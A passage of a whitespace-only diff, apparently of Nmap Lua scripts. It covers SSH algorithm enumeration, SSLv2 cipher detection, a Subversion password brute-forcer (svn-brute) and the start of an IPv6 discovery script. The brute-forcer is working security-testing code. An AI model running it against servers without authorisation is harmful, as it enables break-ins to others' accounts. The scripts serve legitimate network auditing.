|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
|
||||
local status, response = ssh.receive_packet(sock)
|
||||
local status, response = ssh.receive_packet(sock)
|
||||
|
||||
sock:close()
|
||||
sock:close()
|
||||
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
|
||||
local parsed = ssh.parse_kex_init(ssh.payload(response))
|
||||
local parsed = ssh.parse_kex_init(ssh.payload(response))
|
||||
|
||||
local lists = {
|
||||
"kex_algorithms",
|
||||
"server_host_key_algorithms"
|
||||
-- Other types will be added below in combine_types()
|
||||
}
|
||||
local lists = {
|
||||
"kex_algorithms",
|
||||
"server_host_key_algorithms"
|
||||
-- Other types will be added below in combine_types()
|
||||
}
|
||||
|
||||
-- Modifies tables
|
||||
combine_types(parsed, lists)
|
||||
-- Modifies tables
|
||||
combine_types(parsed, lists)
|
||||
|
||||
return output(parsed, lists)
|
||||
return output(parsed, lists)
|
||||
end
|
||||
|
||||
|
||||
@@ -46,193 +46,193 @@ portrule = shortport.ssl
|
||||
|
||||
local hex2dec = function(hex)
|
||||
|
||||
local byte1, byte2;
|
||||
local byte1, byte2;
|
||||
|
||||
byte1 = string.byte(hex, 1);
|
||||
byte2 = string.byte(hex, 2);
|
||||
byte1 = string.byte(hex, 1);
|
||||
byte2 = string.byte(hex, 2);
|
||||
|
||||
if (byte1 == nil or byte2 == nil) then return 0; end;
|
||||
if (byte1 == nil or byte2 == nil) then return 0; end;
|
||||
|
||||
return (byte1 * 256) + byte2;
|
||||
return (byte1 * 256) + byte2;
|
||||
|
||||
end
|
||||
|
||||
local ciphers = function(cipher_list, len)
|
||||
|
||||
-- returns names of ciphers supported by the server
|
||||
-- returns names of ciphers supported by the server
|
||||
|
||||
local seen = {}
|
||||
local available_ciphers = {}
|
||||
local idx = 0;
|
||||
local available_ciphers = {}
|
||||
local idx = 0;
|
||||
|
||||
local ssl_ciphers = {
|
||||
-- (cut down) table of codes with their corresponding ciphers.
|
||||
-- inspired by Wireshark's 'epan/dissectors/packet-ssl-utils.h'
|
||||
[0x010080] = "SSL2_RC4_128_WITH_MD5",
|
||||
[0x020080] = "SSL2_RC4_128_EXPORT40_WITH_MD5",
|
||||
[0x030080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
|
||||
[0x040080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
|
||||
[0x050080] = "SSL2_IDEA_128_CBC_WITH_MD5",
|
||||
[0x060040] = "SSL2_DES_64_CBC_WITH_MD5",
|
||||
[0x0700c0] = "SSL2_DES_192_EDE3_CBC_WITH_MD5",
|
||||
[0x080080] = "SSL2_RC4_64_WITH_MD5",
|
||||
};
|
||||
local ssl_ciphers = {
|
||||
-- (cut down) table of codes with their corresponding ciphers.
|
||||
-- inspired by Wireshark's 'epan/dissectors/packet-ssl-utils.h'
|
||||
[0x010080] = "SSL2_RC4_128_WITH_MD5",
|
||||
[0x020080] = "SSL2_RC4_128_EXPORT40_WITH_MD5",
|
||||
[0x030080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
|
||||
[0x040080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
|
||||
[0x050080] = "SSL2_IDEA_128_CBC_WITH_MD5",
|
||||
[0x060040] = "SSL2_DES_64_CBC_WITH_MD5",
|
||||
[0x0700c0] = "SSL2_DES_192_EDE3_CBC_WITH_MD5",
|
||||
[0x080080] = "SSL2_RC4_64_WITH_MD5",
|
||||
};
|
||||
|
||||
if (len == 0) then return "none"; end
|
||||
-- something's got broken along the way if these aren't equal
|
||||
if (len ~= #cipher_list) then
|
||||
return nil
|
||||
end
|
||||
if (len == 0) then return "none"; end
|
||||
-- something's got broken along the way if these aren't equal
|
||||
if (len ~= #cipher_list) then
|
||||
return nil
|
||||
end
|
||||
|
||||
for idx = 1, len, 3 do
|
||||
local _, cipher = bin.unpack(">I", "\x00" .. string.sub(cipher_list, idx, idx + 2))
|
||||
local cipher_name = ssl_ciphers[cipher];
|
||||
for idx = 1, len, 3 do
|
||||
local _, cipher = bin.unpack(">I", "\x00" .. string.sub(cipher_list, idx, idx + 2))
|
||||
local cipher_name = ssl_ciphers[cipher];
|
||||
|
||||
if (cipher_name == nil) then
|
||||
cipher_name = string.format("0x%06x", cipher)
|
||||
end
|
||||
if (cipher_name == nil) then
|
||||
cipher_name = string.format("0x%06x", cipher)
|
||||
end
|
||||
|
||||
-- Check for duplicate ciphers
|
||||
if not seen[cipher] then
|
||||
table.insert(available_ciphers, cipher_name)
|
||||
-- Check for duplicate ciphers
|
||||
if not seen[cipher] then
|
||||
table.insert(available_ciphers, cipher_name)
|
||||
seen[cipher] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return available_ciphers
|
||||
return available_ciphers
|
||||
|
||||
end
|
||||
|
||||
local give_n_bytes = function(idx, n, str)
|
||||
|
||||
-- returns the next n bytes of a string
|
||||
-- returns the next n bytes of a string
|
||||
|
||||
if (idx + (n - 1) > #str) then
|
||||
return (idx + n), string.rep(string.char(0x00), n);
|
||||
end
|
||||
if (idx + (n - 1) > #str) then
|
||||
return (idx + n), string.rep(string.char(0x00), n);
|
||||
end
|
||||
|
||||
return (idx + n), string.sub(str, idx, (idx + (n - 1)) );
|
||||
return (idx + n), string.sub(str, idx, (idx + (n - 1)) );
|
||||
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local socket = nmap.new_socket();
|
||||
local status = true;
|
||||
local socket = nmap.new_socket();
|
||||
local status = true;
|
||||
|
||||
local tmp;
|
||||
local tmp;
|
||||
|
||||
local idx = 3; -- start reading after the end of the length record
|
||||
local idx = 3; -- start reading after the end of the length record
|
||||
|
||||
local return_string = "";
|
||||
local available_ciphers;
|
||||
local return_string = "";
|
||||
local available_ciphers;
|
||||
|
||||
local ssl_v2_hello;
|
||||
local server_hello;
|
||||
local ssl_v2_hello;
|
||||
local server_hello;
|
||||
|
||||
local server_hello_len;
|
||||
local message_type;
|
||||
local SID_hit;
|
||||
local certificate_type;
|
||||
local ssl_version;
|
||||
local certificate_len;
|
||||
local ciphers_len;
|
||||
local certificate;
|
||||
local connection_ID_len;
|
||||
local cipher_list;
|
||||
local connection_ID;
|
||||
local server_hello_len;
|
||||
local message_type;
|
||||
local SID_hit;
|
||||
local certificate_type;
|
||||
local ssl_version;
|
||||
local certificate_len;
|
||||
local ciphers_len;
|
||||
local certificate;
|
||||
local connection_ID_len;
|
||||
local cipher_list;
|
||||
local connection_ID;
|
||||
|
||||
-- build client hello packet (contents inspired by
|
||||
-- http://mail.nessus.org/pipermail/plugins-writers/2004-October/msg00041.html )
|
||||
local t = {};
|
||||
table.insert(t, string.char(0x80, 0x31));
|
||||
table.insert(t, string.char(0x01));
|
||||
table.insert(t, string.char(0x00, 0x02));
|
||||
table.insert(t, string.char(0x00, 0x18));
|
||||
table.insert(t, string.char(0x00, 0x00));
|
||||
table.insert(t, string.char(0x00, 0x10));
|
||||
table.insert(t, string.char(0x07, 0x00, 0xc0));
|
||||
table.insert(t, string.char(0x05, 0x00, 0x80));
|
||||
table.insert(t, string.char(0x03, 0x00, 0x80));
|
||||
table.insert(t, string.char(0x01, 0x00, 0x80));
|
||||
table.insert(t, string.char(0x08, 0x00, 0x80));
|
||||
table.insert(t, string.char(0x06, 0x00, 0x40));
|
||||
table.insert(t, string.char(0x04, 0x00, 0x80));
|
||||
table.insert(t, string.char(0x02, 0x00, 0x80));
|
||||
table.insert(t, string.char(0xe4, 0xbd, 0x00, 0x00));
|
||||
table.insert(t, string.char(0xa4, 0x41, 0xb6, 0x74));
|
||||
table.insert(t, string.char(0x71, 0x2b, 0x27, 0x95));
|
||||
table.insert(t, string.char(0x44, 0xc0, 0x3d, 0xc0));
|
||||
ssl_v2_hello = table.concat(t, "")
|
||||
-- build client hello packet (contents inspired by
|
||||
-- http://mail.nessus.org/pipermail/plugins-writers/2004-October/msg00041.html )
|
||||
local t = {};
|
||||
table.insert(t, string.char(0x80, 0x31));
|
||||
table.insert(t, string.char(0x01));
|
||||
table.insert(t, string.char(0x00, 0x02));
|
||||
table.insert(t, string.char(0x00, 0x18));
|
||||
table.insert(t, string.char(0x00, 0x00));
|
||||
table.insert(t, string.char(0x00, 0x10));
|
||||
table.insert(t, string.char(0x07, 0x00, 0xc0));
|
||||
table.insert(t, string.char(0x05, 0x00, 0x80));
|
||||
table.insert(t, string.char(0x03, 0x00, 0x80));
|
||||
table.insert(t, string.char(0x01, 0x00, 0x80));
|
||||
table.insert(t, string.char(0x08, 0x00, 0x80));
|
||||
table.insert(t, string.char(0x06, 0x00, 0x40));
|
||||
table.insert(t, string.char(0x04, 0x00, 0x80));
|
||||
table.insert(t, string.char(0x02, 0x00, 0x80));
|
||||
table.insert(t, string.char(0xe4, 0xbd, 0x00, 0x00));
|
||||
table.insert(t, string.char(0xa4, 0x41, 0xb6, 0x74));
|
||||
table.insert(t, string.char(0x71, 0x2b, 0x27, 0x95));
|
||||
table.insert(t, string.char(0x44, 0xc0, 0x3d, 0xc0));
|
||||
ssl_v2_hello = table.concat(t, "")
|
||||
|
||||
socket:connect(host, port, "tcp");
|
||||
socket:send(ssl_v2_hello);
|
||||
socket:connect(host, port, "tcp");
|
||||
socket:send(ssl_v2_hello);
|
||||
|
||||
status, server_hello = socket:receive_bytes(2);
|
||||
status, server_hello = socket:receive_bytes(2);
|
||||
|
||||
if (not status) then
|
||||
socket:close();
|
||||
return;
|
||||
end
|
||||
if (not status) then
|
||||
socket:close();
|
||||
return;
|
||||
end
|
||||
|
||||
server_hello_len = string.sub(server_hello, 1, 2);
|
||||
server_hello_len = hex2dec(server_hello_len);
|
||||
-- length record doesn't include its own length, and is "broken".
|
||||
server_hello_len = server_hello_len - (128 * 256) + 2;
|
||||
server_hello_len = string.sub(server_hello, 1, 2);
|
||||
server_hello_len = hex2dec(server_hello_len);
|
||||
-- length record doesn't include its own length, and is "broken".
|
||||
server_hello_len = server_hello_len - (128 * 256) + 2;
|
||||
|
||||
-- the hello needs to be at least 13 bytes long to be of any use
|
||||
if (server_hello_len < 13) then
|
||||
socket:close();
|
||||
return;
|
||||
end
|
||||
--try to get entire hello, if we don't already
|
||||
if (#server_hello < server_hello_len) then
|
||||
status, tmp = socket:receive_bytes(server_hello_len - #server_hello);
|
||||
-- the hello needs to be at least 13 bytes long to be of any use
|
||||
if (server_hello_len < 13) then
|
||||
socket:close();
|
||||
return;
|
||||
end
|
||||
--try to get entire hello, if we don't already
|
||||
if (#server_hello < server_hello_len) then
|
||||
status, tmp = socket:receive_bytes(server_hello_len - #server_hello);
|
||||
|
||||
if (not status) then
|
||||
socket:close();
|
||||
return;
|
||||
end
|
||||
if (not status) then
|
||||
socket:close();
|
||||
return;
|
||||
end
|
||||
|
||||
server_hello = server_hello .. tmp;
|
||||
end;
|
||||
server_hello = server_hello .. tmp;
|
||||
end;
|
||||
|
||||
socket:close();
|
||||
socket:close();
|
||||
|
||||
-- split up server hello into components
|
||||
idx, message_type = give_n_bytes(idx, 1, server_hello);
|
||||
idx, SID_hit = give_n_bytes(idx, 1, server_hello);
|
||||
idx, certificate_type = give_n_bytes(idx, 1, server_hello);
|
||||
idx, ssl_version = give_n_bytes(idx, 2, server_hello);
|
||||
idx, certificate_len = give_n_bytes(idx, 2, server_hello);
|
||||
certificate_len = hex2dec(certificate_len);
|
||||
idx, ciphers_len = give_n_bytes(idx, 2, server_hello);
|
||||
ciphers_len = hex2dec(ciphers_len);
|
||||
idx, connection_ID_len = give_n_bytes(idx, 2, server_hello);
|
||||
connection_ID_len = hex2dec(connection_ID_len);
|
||||
idx, certificate = give_n_bytes(idx, certificate_len, server_hello);
|
||||
idx, cipher_list = give_n_bytes(idx, ciphers_len, server_hello);
|
||||
idx, connection_ID = give_n_bytes(idx, connection_ID_len, server_hello);
|
||||
-- split up server hello into components
|
||||
idx, message_type = give_n_bytes(idx, 1, server_hello);
|
||||
idx, SID_hit = give_n_bytes(idx, 1, server_hello);
|
||||
idx, certificate_type = give_n_bytes(idx, 1, server_hello);
|
||||
idx, ssl_version = give_n_bytes(idx, 2, server_hello);
|
||||
idx, certificate_len = give_n_bytes(idx, 2, server_hello);
|
||||
certificate_len = hex2dec(certificate_len);
|
||||
idx, ciphers_len = give_n_bytes(idx, 2, server_hello);
|
||||
ciphers_len = hex2dec(ciphers_len);
|
||||
idx, connection_ID_len = give_n_bytes(idx, 2, server_hello);
|
||||
connection_ID_len = hex2dec(connection_ID_len);
|
||||
idx, certificate = give_n_bytes(idx, certificate_len, server_hello);
|
||||
idx, cipher_list = give_n_bytes(idx, ciphers_len, server_hello);
|
||||
idx, connection_ID = give_n_bytes(idx, connection_ID_len, server_hello);
|
||||
|
||||
-- some sanity checks:
|
||||
-- is response a server hello?
|
||||
if (message_type ~= string.char(0x04)) then
|
||||
return;
|
||||
end
|
||||
-- is certificate in X.509 format?
|
||||
if (certificate_type ~= string.char(0x01)) then
|
||||
return;
|
||||
end
|
||||
-- some sanity checks:
|
||||
-- is response a server hello?
|
||||
if (message_type ~= string.char(0x04)) then
|
||||
return;
|
||||
end
|
||||
-- is certificate in X.509 format?
|
||||
if (certificate_type ~= string.char(0x01)) then
|
||||
return;
|
||||
end
|
||||
|
||||
-- get a list of ciphers offered
|
||||
available_ciphers = ciphers(cipher_list, ciphers_len);
|
||||
-- get a list of ciphers offered
|
||||
available_ciphers = ciphers(cipher_list, ciphers_len);
|
||||
|
||||
-- actually run some tests:
|
||||
-- actually run some tests:
|
||||
local o = stdnse.output_table()
|
||||
if (ssl_version == string.char(0x00, 0x02)) then
|
||||
if (ssl_version == string.char(0x00, 0x02)) then
|
||||
table.insert(o, "SSLv2 supported")
|
||||
o["ciphers"] = available_ciphers
|
||||
end
|
||||
end
|
||||
|
||||
return o;
|
||||
return o;
|
||||
end
|
||||
|
||||
@@ -46,227 +46,227 @@ portrule = shortport.port_or_service(3690, "svnserve", "tcp", "open")
|
||||
|
||||
svn =
|
||||
{
|
||||
svn_client = "nmap-brute v0.1",
|
||||
svn_client = "nmap-brute v0.1",
|
||||
|
||||
new = function(self, host, port, repo)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
o.repo = repo
|
||||
o.invalid_users = {}
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port, repo)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
o.repo = repo
|
||||
o.invalid_users = {}
|
||||
return o
|
||||
end,
|
||||
|
||||
--- Connects to the SVN - repository
|
||||
--
|
||||
-- @return status true on success, false on failure
|
||||
-- @return err string containing an error message on failure
|
||||
connect = function(self)
|
||||
local repo_url = ( "svn://%s/%s" ):format(self.host.ip, self.repo)
|
||||
local status, msg
|
||||
--- Connects to the SVN - repository
|
||||
--
|
||||
-- @return status true on success, false on failure
|
||||
-- @return err string containing an error message on failure
|
||||
connect = function(self)
|
||||
local repo_url = ( "svn://%s/%s" ):format(self.host.ip, self.repo)
|
||||
local status, msg
|
||||
|
||||
self.socket = nmap.new_socket()
|
||||
self.socket = nmap.new_socket()
|
||||
|
||||
local result
|
||||
status, result = self.socket:connect(self.host.ip, self.port.number, "tcp")
|
||||
if( not(status) ) then
|
||||
return false, result
|
||||
end
|
||||
local result
|
||||
status, result = self.socket:connect(self.host.ip, self.port.number, "tcp")
|
||||
if( not(status) ) then
|
||||
return false, result
|
||||
end
|
||||
|
||||
status, msg = self.socket:receive_bytes(1)
|
||||
if ( not(status) or not( msg:match("^%( success") ) ) then
|
||||
return false, "Banner reports failure"
|
||||
end
|
||||
status, msg = self.socket:receive_bytes(1)
|
||||
if ( not(status) or not( msg:match("^%( success") ) ) then
|
||||
return false, "Banner reports failure"
|
||||
end
|
||||
|
||||
msg = ("( 2 ( edit-pipeline svndiff1 absent-entries depth mergeinfo log-revprops ) %d:%s %d:%s ( ) ) "):format( #repo_url, repo_url, #self.svn_client, self.svn_client )
|
||||
status = self.socket:send( msg )
|
||||
if ( not(status) ) then
|
||||
return false, "Send failed"
|
||||
end
|
||||
msg = ("( 2 ( edit-pipeline svndiff1 absent-entries depth mergeinfo log-revprops ) %d:%s %d:%s ( ) ) "):format( #repo_url, repo_url, #self.svn_client, self.svn_client )
|
||||
status = self.socket:send( msg )
|
||||
if ( not(status) ) then
|
||||
return false, "Send failed"
|
||||
end
|
||||
|
||||
status, msg = self.socket:receive_bytes(1)
|
||||
if ( not(status) ) then
|
||||
return false, "Receive failed"
|
||||
end
|
||||
status, msg = self.socket:receive_bytes(1)
|
||||
if ( not(status) ) then
|
||||
return false, "Receive failed"
|
||||
end
|
||||
|
||||
if ( msg:match("%( success") ) then
|
||||
local tmp = msg:match("%( success %( %( ([%S+%s*]-) %)")
|
||||
if ( not(tmp) ) then return false, "Failed to detect authentication" end
|
||||
tmp = stdnse.strsplit(" ", tmp)
|
||||
self.auth_mech = {}
|
||||
for _, v in pairs(tmp) do self.auth_mech[v] = true end
|
||||
elseif ( msg:match("%( failure") ) then
|
||||
return false
|
||||
end
|
||||
if ( msg:match("%( success") ) then
|
||||
local tmp = msg:match("%( success %( %( ([%S+%s*]-) %)")
|
||||
if ( not(tmp) ) then return false, "Failed to detect authentication" end
|
||||
tmp = stdnse.strsplit(" ", tmp)
|
||||
self.auth_mech = {}
|
||||
for _, v in pairs(tmp) do self.auth_mech[v] = true end
|
||||
elseif ( msg:match("%( failure") ) then
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
end,
|
||||
return true
|
||||
end,
|
||||
|
||||
--- Attempts to login to the SVN server
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return err string containing error message on failure
|
||||
login = function( self, username, password )
|
||||
local status, msg
|
||||
local challenge, digest
|
||||
--- Attempts to login to the SVN server
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return err string containing error message on failure
|
||||
login = function( self, username, password )
|
||||
local status, msg
|
||||
local challenge, digest
|
||||
|
||||
if ( self.auth_mech["CRAM-MD5"] ) then
|
||||
msg = "( CRAM-MD5 ( ) ) "
|
||||
status = self.socket:send( msg )
|
||||
if ( self.auth_mech["CRAM-MD5"] ) then
|
||||
msg = "( CRAM-MD5 ( ) ) "
|
||||
status = self.socket:send( msg )
|
||||
|
||||
status, msg = self.socket:receive_bytes(1)
|
||||
if ( not(status) ) then
|
||||
return false, "error"
|
||||
end
|
||||
status, msg = self.socket:receive_bytes(1)
|
||||
if ( not(status) ) then
|
||||
return false, "error"
|
||||
end
|
||||
|
||||
challenge = msg:match("<.+>")
|
||||
challenge = msg:match("<.+>")
|
||||
|
||||
if ( not(challenge) ) then
|
||||
return false, "Failed to read challenge"
|
||||
end
|
||||
if ( not(challenge) ) then
|
||||
return false, "Failed to read challenge"
|
||||
end
|
||||
|
||||
digest = stdnse.tohex(openssl.hmac('md5', password, challenge))
|
||||
msg = ("%d:%s %s "):format(#username + 1 + #digest, username, digest)
|
||||
self.socket:send( msg )
|
||||
digest = stdnse.tohex(openssl.hmac('md5', password, challenge))
|
||||
msg = ("%d:%s %s "):format(#username + 1 + #digest, username, digest)
|
||||
self.socket:send( msg )
|
||||
|
||||
status, msg = self.socket:receive_bytes(1)
|
||||
if ( not(status) ) then
|
||||
return false, "error"
|
||||
end
|
||||
status, msg = self.socket:receive_bytes(1)
|
||||
if ( not(status) ) then
|
||||
return false, "error"
|
||||
end
|
||||
|
||||
if ( msg:match("Username not found") ) then
|
||||
return false, "Username not found"
|
||||
elseif ( msg:match("success") ) then
|
||||
return true, "Authentication success"
|
||||
else
|
||||
return false, "Authentication failed"
|
||||
end
|
||||
else
|
||||
return false, "Unsupported auth-mechanism"
|
||||
end
|
||||
if ( msg:match("Username not found") ) then
|
||||
return false, "Username not found"
|
||||
elseif ( msg:match("success") ) then
|
||||
return true, "Authentication success"
|
||||
else
|
||||
return false, "Authentication failed"
|
||||
end
|
||||
else
|
||||
return false, "Unsupported auth-mechanism"
|
||||
end
|
||||
|
||||
end,
|
||||
end,
|
||||
|
||||
--- Close the SVN connection
|
||||
--
|
||||
-- @return status true on success, false on failure
|
||||
close = function(self)
|
||||
return self.socket:close()
|
||||
end,
|
||||
--- Close the SVN connection
|
||||
--
|
||||
-- @return status true on success, false on failure
|
||||
close = function(self)
|
||||
return self.socket:close()
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
Driver =
|
||||
{
|
||||
new = function(self, host, port, invalid_users )
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
o.repo = stdnse.get_script_args('svn-brute.repo')
|
||||
o.invalid_users = invalid_users
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port, invalid_users )
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
o.repo = stdnse.get_script_args('svn-brute.repo')
|
||||
o.invalid_users = invalid_users
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
local status, msg
|
||||
connect = function( self )
|
||||
local status, msg
|
||||
|
||||
self.svn = svn:new( self.host, self.port, self.repo )
|
||||
status, msg = self.svn:connect()
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to connect to SVN server" )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
self.svn = svn:new( self.host, self.port, self.repo )
|
||||
status, msg = self.svn:connect()
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to connect to SVN server" )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
return true
|
||||
end,
|
||||
return true
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
self.svn:close()
|
||||
end,
|
||||
disconnect = function( self )
|
||||
self.svn:close()
|
||||
end,
|
||||
|
||||
--- Attempts to login to the SVN server
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return brute.Error object on failure
|
||||
-- brute.Account object on success
|
||||
login = function( self, username, password )
|
||||
local status, msg
|
||||
--- Attempts to login to the SVN server
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return brute.Error object on failure
|
||||
-- brute.Account object on success
|
||||
login = function( self, username, password )
|
||||
local status, msg
|
||||
|
||||
if ( self.invalid_users[username] ) then
|
||||
return false, brute.Error:new( "User is invalid" )
|
||||
end
|
||||
if ( self.invalid_users[username] ) then
|
||||
return false, brute.Error:new( "User is invalid" )
|
||||
end
|
||||
|
||||
status, msg = self.svn:login( username, password )
|
||||
status, msg = self.svn:login( username, password )
|
||||
|
||||
if ( not(status) and msg:match("Username not found") ) then
|
||||
self.invalid_users[username] = true
|
||||
return false, brute.Error:new("Username not found")
|
||||
elseif ( status and msg:match("success") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
else
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end
|
||||
end,
|
||||
if ( not(status) and msg:match("Username not found") ) then
|
||||
self.invalid_users[username] = true
|
||||
return false, brute.Error:new("Username not found")
|
||||
elseif ( status and msg:match("success") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
else
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end
|
||||
end,
|
||||
|
||||
--- Verifies whether the repository is valid
|
||||
--
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return err string containing an error message on failure
|
||||
check = function( self )
|
||||
local svn = svn:new( self.host, self.port, self.repo )
|
||||
local status = svn:connect()
|
||||
--- Verifies whether the repository is valid
|
||||
--
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return err string containing an error message on failure
|
||||
check = function( self )
|
||||
local svn = svn:new( self.host, self.port, self.repo )
|
||||
local status = svn:connect()
|
||||
|
||||
svn:close()
|
||||
svn:close()
|
||||
|
||||
if ( status ) then
|
||||
return true
|
||||
else
|
||||
return false, ("Failed to connect to SVN repository (%s)"):format(self.repo)
|
||||
end
|
||||
end,
|
||||
if ( status ) then
|
||||
return true
|
||||
else
|
||||
return false, ("Failed to connect to SVN repository (%s)"):format(self.repo)
|
||||
end
|
||||
end,
|
||||
}
|
||||
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
local status, accounts
|
||||
local status, accounts
|
||||
|
||||
local repo = stdnse.get_script_args('svn-brute.repo')
|
||||
local force = stdnse.get_script_args('svn-brute.force')
|
||||
local repo = stdnse.get_script_args('svn-brute.repo')
|
||||
local force = stdnse.get_script_args('svn-brute.force')
|
||||
|
||||
if ( not(repo) ) then
|
||||
return "No repository specified (see svn-brute.repo)"
|
||||
end
|
||||
if ( not(repo) ) then
|
||||
return "No repository specified (see svn-brute.repo)"
|
||||
end
|
||||
|
||||
local svn = svn:new( host, port, repo )
|
||||
local status = svn:connect()
|
||||
local svn = svn:new( host, port, repo )
|
||||
local status = svn:connect()
|
||||
|
||||
if ( status and svn.auth_mech["ANONYMOUS"] and not(force) ) then
|
||||
return " \n Anonymous SVN detected, no authentication needed"
|
||||
end
|
||||
if ( status and svn.auth_mech["ANONYMOUS"] and not(force) ) then
|
||||
return " \n Anonymous SVN detected, no authentication needed"
|
||||
end
|
||||
|
||||
if ( not(svn.auth_mech) or not( svn.auth_mech["CRAM-MD5"] ) ) then
|
||||
return " \n No supported authentication mechanisms detected"
|
||||
end
|
||||
if ( not(svn.auth_mech) or not( svn.auth_mech["CRAM-MD5"] ) ) then
|
||||
return " \n No supported authentication mechanisms detected"
|
||||
end
|
||||
|
||||
local invalid_users = {}
|
||||
local engine = brute.Engine:new(Driver, host, port, invalid_users)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
status, accounts = engine:start()
|
||||
if( not(status) ) then
|
||||
return accounts
|
||||
end
|
||||
local invalid_users = {}
|
||||
local engine = brute.Engine:new(Driver, host, port, invalid_users)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
status, accounts = engine:start()
|
||||
if( not(status) ) then
|
||||
return accounts
|
||||
end
|
||||
|
||||
return accounts
|
||||
return accounts
|
||||
end
|
||||
|
||||
@@ -34,169 +34,169 @@ categories = {"discovery","broadcast"}
|
||||
|
||||
|
||||
prerule = function()
|
||||
return nmap.is_privileged()
|
||||
return nmap.is_privileged()
|
||||
end
|
||||
|
||||
--- Build an IPv6 invalid extension header.
|
||||
-- @param nxt_hdr integer that stands for next header's type
|
||||
local function build_invalid_extension_header(nxt_hdr)
|
||||
-- RFC 2640, section 4.2 defines the TLV format of options headers.
|
||||
-- It is important that the first byte have 10 in the most significant
|
||||
-- bits; that instructs the receiver to send a Parameter Problem.
|
||||
-- Option type 0x80 is unallocated; see
|
||||
-- http://www.iana.org/assignments/ipv6-parameters/.
|
||||
local ex_invalid_opt = string.char(0x80,0x01,0x00,0x00,0x00,0x00)
|
||||
local ext_header =
|
||||
string.char(nxt_hdr) .. --next header
|
||||
string.char(0) .. -- length 8
|
||||
ex_invalid_opt
|
||||
return ext_header
|
||||
-- RFC 2640, section 4.2 defines the TLV format of options headers.
|
||||
-- It is important that the first byte have 10 in the most significant
|
||||
-- bits; that instructs the receiver to send a Parameter Problem.
|
||||
-- Option type 0x80 is unallocated; see
|
||||
-- http://www.iana.org/assignments/ipv6-parameters/.
|
||||
local ex_invalid_opt = string.char(0x80,0x01,0x00,0x00,0x00,0x00)
|
||||
local ext_header =
|
||||
string.char(nxt_hdr) .. --next header
|
||||
string.char(0) .. -- length 8
|
||||
ex_invalid_opt
|
||||
return ext_header
|
||||
end
|
||||
|
||||
local function get_interfaces()
|
||||
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||
or nmap.get_interface()
|
||||
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||
or nmap.get_interface()
|
||||
|
||||
-- interfaces list (decide which interfaces to broadcast on)
|
||||
local interfaces = {}
|
||||
if interface_name then
|
||||
-- single interface defined
|
||||
local if_table = nmap.get_interface_info(interface_name)
|
||||
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
interfaces[#interfaces + 1] = if_table
|
||||
else
|
||||
stdnse.print_debug("Interface not supported or not properly configured.")
|
||||
end
|
||||
else
|
||||
for _, if_table in ipairs(nmap.list_interfaces()) do
|
||||
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
table.insert(interfaces, if_table)
|
||||
end
|
||||
end
|
||||
end
|
||||
-- interfaces list (decide which interfaces to broadcast on)
|
||||
local interfaces = {}
|
||||
if interface_name then
|
||||
-- single interface defined
|
||||
local if_table = nmap.get_interface_info(interface_name)
|
||||
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
interfaces[#interfaces + 1] = if_table
|
||||
else
|
||||
stdnse.print_debug("Interface not supported or not properly configured.")
|
||||
end
|
||||
else
|
||||
for _, if_table in ipairs(nmap.list_interfaces()) do
|
||||
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
|
||||
table.insert(interfaces, if_table)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return interfaces
|
||||
return interfaces
|
||||
end
|
||||
|
||||
local function single_interface_broadcast(if_nfo, results)
|
||||
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
|
||||
